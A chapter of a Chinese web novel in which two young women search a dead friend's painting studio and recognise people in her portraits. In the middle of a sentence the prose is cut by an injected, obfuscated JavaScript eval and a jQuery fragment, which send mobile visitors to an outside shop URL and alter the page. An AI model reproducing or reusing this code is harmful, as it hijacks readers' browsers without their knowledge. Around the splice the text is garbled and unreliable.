【叮——】
【恭喜宿主在规定时效内完成任务四解开女配夏泊言的心结,总寿命增加至五十天。】
系统的提示还在耳边,黎危却无暇去理会,她只是偷偷摸摸地再看陆窃。
陆窃心情不是很好,当然被人再一次提起好友的死亡谁都不可能高兴,但她们被人提示获得了重要线索——宁息的画室。
陆窃是聪明人,聪明人不会忘记去任何有可能发现线索的地方去寻找线索,但她却偏偏遗漏了这个地方。
她是故意遗忘的。
陆窃很难再踏入宁息的画室,那里处处都有好友生活的痕迹,像在对她说宁息还活着。
可宁息已经走了。
人死不能复生,陆窃曾希望宁息可以进入她的梦中,可她从不做梦。
她也曾渴求上天的帮助,让她那天发现宁息的异常,能跟她好好说话,可是时光不会倒流。
陆窃脑海中流水一般滑过宁息跟她说过的话。
“老师说我人物肖像画得没有静物好,我需要模特。”
“陆宝宝你来做我模特好不好?”
“你要出去比赛不行啊。”
宁息似乎是很失望,但她很快就笑了起来,“那我再找别人好了,”
“陆宝宝我找到模特了,不过她时间也不多,一天只能在画室待一个小时,还要去训练。”
“陆宝我这次的人物肖像获得了第一!老师说我画得很有感情!等你回来一定要来看我的画啊!”
……
陆窃咬紧牙根,黎危很担心她,但她笨口拙舌又不知道该说些什么能话能安慰人。
要是她的队友她大可以大咧咧地拍拍她的肩膀说加油,像程季安、邓戈铁、杨沛关系更好的,她甚至能用手臂卡住她们的脖子让她们振作,还可以叫她们喝酒,没什么是一顿烧烤解决不了的问题。
虽然还会悲伤,但有人陪着总比没人陪着强。
黎危想到这里,舌头打结似地说:“你要不想去,我们要不先不去了。”
风霎时都静了。
陆窃原本只是自己思,自己想,黎危一句话说出来,所有的情绪都像有了发泄点,她握紧双拳,颤抖着身子质问黎危:“你为什么不让我去?你跟着我是在监视我吗?你做贼心虚,看到我要去宁息的画室怕了吧!”
这一股脑的输出令黎危瞠目结舌,她愚笨地挥手,像是想要抓住陆窃愤怒的情绪,也像是在驱赶某种无稽之谈。
黎危:“不是啊,我只是在关心你,你看起来很伤心。”
陆窃所有的质问都锁在喉咙里,她眼睛瞪得大大的,表情倔强的不想低头,只是那双被清水洗涤过的眼眸落满了雨,潮湿地望向黎危。
黎危心中一软,她语气更加柔和:“有我陪你呢。”
陆窃脸一红,恶狠狠地瞪了一眼黎危,没有在说话。
两人就这样一路沉默着走到了宁息的画室。
宁息是学油画的,有自己的画室,虽然她去世了,但是画室里的东西没人搬就依旧还放在那里。
陆窃问楼下钥匙房的师傅拿了钥匙,打开门一股潮土气扑面而来,混合着油彩的味道,又潮湿又阴冷,似乎许久没人来过了。
中间地面位置支起一个画架,上面打了大面积的黑色,蓝色的油料在上面画出一个隐约轮廓,看不出是谁,只能看到轮廓是一个坐着的人。
这幅画没有画完,孤零零地矗立在画室。
再往左右看,被白布蒙起来的画框,从小画框再到大画框,应该是画完的画布,因为右边堆了一堆没画过的画布。
画架正前方是一组随意摆放的静物,苹果已经烂了,皱巴干瘪裂开一条大缝,白色的石头人像像是被水浸过,从眼眶处长出了一组绿毛。
黎危觉得这地方充满不详,可能是阴冷潮湿的环境,也可能是那副挂在画架上未完成的黑色油画。
黎危不懂画,但也能看出画架那幅画主人想表达的情绪。
她似乎是混乱的,疯狂的,黑色底下隐约透出一点红色,似乎在画布底下还有另外一幅画,被她用大量的黑色涂抹掉了。
陆窃没有迟疑
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17263196|198060||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,径直走过去掀开画布,宁息大量完成的作品显露在人前。
她似乎是爱用蓝色打底,跟她画架上那副未完成的作品不同,其他的画,不论是静物还是人像,都给人一种宁静的质感。
陆窃挨个查看那些画。
油笔的笔触重,手摸上去会有一种粗糙的纹理,像是被揉皱的纸,也像是石膏的质感。
黎危急忙上前去帮她,前面放得都是一些人头大小的画,多是一些静物或者花朵,甚至还有很美的天空,但后面的人像更多,画框越来越大,最大的一张画有两米长。
陆窃挨个辨认。
里面她不认识的人只有两个,一个是穿灰色风衣的女生,戴了黑色的毛线帽坐在一张黑色的沙发上;还有一个穿了蓝色的工装外套,低头时头上的鸭舌帽恰好挡住了半张脸,只能看到嘴角温柔的笑。
是她!夏泊言看到跟宁息在一起的人!
陆窃把画布往出搬,这张人物肖像有一米高,黎危抬左边,她抬右边把画布搬了出来放到最前面。
陆窃沉默地打量那半张脸。
黎危皱眉看着,又看向后面竖起来放置的灰色风衣女生肖像。
这两张画里的人都给她熟悉感,尤其是灰色风衣的女生,戴了顶毛线帽,鬓边露出两捋蓝色的发丝……
这是郑诺!她不会认错!
可是郑诺曾做过宁息的模特?
宁息的画很会抓人物特点,黎危一眼就辨认出郑诺的五官,可是另一张画里只有半张脸,但是那个鹰钩鼻黎危总觉得在哪见过,一时半会她还对不上人。
陆窃盯了半天,拿手机拍了一下画布,又请黎危帮忙把画放了回去。
重新蒙上白布,陆窃在画室站了很久,她面对着宁息那副没画完的画,语气低沉:“我刚才去取钥匙,师傅说这个画室要重新收回去。”
黎危想了下说:“我们运动队还有个空置的仓库,你要是找不到地方,可以把这些画暂时收到那里去。”
陆窃漂亮的眼睛闪了闪,最后挤出一个大大笑容,“嗯!好!”